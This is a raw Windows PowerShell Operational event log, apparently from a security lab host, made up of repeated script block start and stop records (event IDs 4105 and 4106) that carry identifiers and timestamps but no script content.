RecordNumber=2044532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044528
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044527
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044505
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044503
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044502
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044486
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044485
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044480
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044479
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
